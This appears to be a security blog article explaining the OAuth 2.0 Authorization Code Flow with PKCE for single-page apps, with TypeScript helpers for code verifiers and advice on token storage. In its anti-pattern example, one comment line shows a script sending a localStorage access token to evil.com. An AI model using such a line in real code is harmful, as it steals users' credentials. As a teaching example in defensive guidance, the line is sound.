Modern OAuth 2.0 and OpenID Connect for SPAs: The Authorization Code Flow with PKCE and Token Rotation
A security engineer’s guide to single-page authentication: why the Implicit Flow is deprecated, code verifiers, and defending against token theft via XSS.
Single-Page Applications (SPAs) are public clients: they run entirely in user browsers where client secrets cannot be securely stored. The legacy OAuth 2.0 Implicit Grant (which returned access tokens directly in URL hash fragments) has been officially deprecated due to token leakage and replay attacks. The modern standard is the Authorization Code Flow with Proof Key for Code Exchange (PKCE) combined with Refresh Token Rotation or Backend-for-Frontend (BFF) proxies.
THE PRODUCTION PROBLEM STATEMENT
In the deprecated Implicit Flow, access tokens were exposed in browser history, HTTP Referer headers, and server access logs. If an attacker exploited a minor XSS vulnerability, they could steal the access token directly from localStorage and impersonate the user indefinitely.
How Does PKCE Cryptographically Protect Authorization Codes?
Before redirecting to the Identity Provider (IdP), the SPA generates a cryptographically random string called the code_verifier and computes its SHA-256 hash, called the code_challenge.
The SPA sends only the code_challenge to the IdP. When the IdP returns the authorization code, the SPA exchanges the code along with the original raw code_verifier. Even if an attacker intercepts the authorization code, they cannot exchange it without knowing the secret code_verifier that never left the browser memory.
// Generate a cryptographically secure random string (code_verifier)
export function generateCodeVerifier(length: number = 64): string {
const possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~';
const values = crypto.getRandomValues(new Uint8Array(length));
return Array.from(values, (x) => possible[x % possible.length]).join('');
}
// Compute SHA-256 code_challenge from code_verifier
export async function generateCodeChallenge(codeVerifier: string): Promise<string> {
const encoder = new TextEncoder();
const data = encoder.encode(codeVerifier);
const digest = await crypto.subtle.digest('SHA-256', data);
// Base64URL encode the binary digest
const bytes = new Uint8Array(digest);
let str = '';
for (let i = 0; i < bytes.byteLength; i++) {
str += String.fromCharCode(bytes[i]);
}
return btoa(str).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}Where Should Tokens Be Stored in a Modern SPA?
Storing tokens in localStorage makes them vulnerable to any third-party script XSS attack. Storing them in JavaScript memory protects against localStorage scraping, but loses session on page reload.
The most secure enterprise pattern is the Backend-for-Frontend (BFF) proxy: the SPA communicates with its own lightweight backend using secure, HttpOnly, SameSite=Strict cookies, while the BFF handles token exchange and downstream API calls.
// Anti-Pattern: Vulnerable to any XSS payload in third-party npm libraries
localStorage.setItem('access_token', token);
// Any rogue script can run: fetch('evil.com?t=' + localStorage.getItem('access_token'))// Recommended: Token stored in HttpOnly cookie; JavaScript cannot touch it!
// Or store in memory closure and rotate refresh tokens:
let inMemoryToken: string | null = null;
export const getToken = () => inMemoryToken;[PROBABLE CAUSE] The code_verifier was regenerated or lost from sessionStorage between the redirect to the IdP and the callback.
[VERIFIED RESOLUTION] Store the code_verifier in sessionStorage before initiating the redirect and retrieve it on callback.
sessionStorage.setItem('pkce_verifier', verifier);Frequently Asked Questions & Technical Inquiries
Direct, practical answers to common architectural and debugging questions.
The OAuth 2.0 Security Best Current Practice (BCP) deprecates the Implicit Flow because returning access tokens directly in URL fragments exposes them to browser history, referer leaks, and token injection.
Faisal Askari
Verified AuthorSoftware Engineer & Full-Stack Developer
Faisal Askari is a software engineer with deep expertise in web systems architecture, the JavaScript runtime ecosystem, and client-side performance engineering. Over years of hands-on production engineering, he has designed and shipped enterprise dashboards, high-converting digital interfaces, and specialized full-stack applications.
Web Security & Authentication Architecture
Hardening your enterprise web application against XSS, CSRF, and authentication vulnerabilities?
The Modern Web Build Pipeline: Decoupling Bundling, Transpilation, and Hot Module Replacement
How modern frontend toolchains evolved from monolithic webpack bundling to native ESM dev servers, Go-compiled transpilation, and optimal production chunking.
Architectural Blueprint for Modern Business Websites: Speed, SEO, and Conversion Engineering
How to structure multi-page web platforms that achieve perfect Lighthouse scores, rank on search engines, and convert visitors into qualified business inquiries.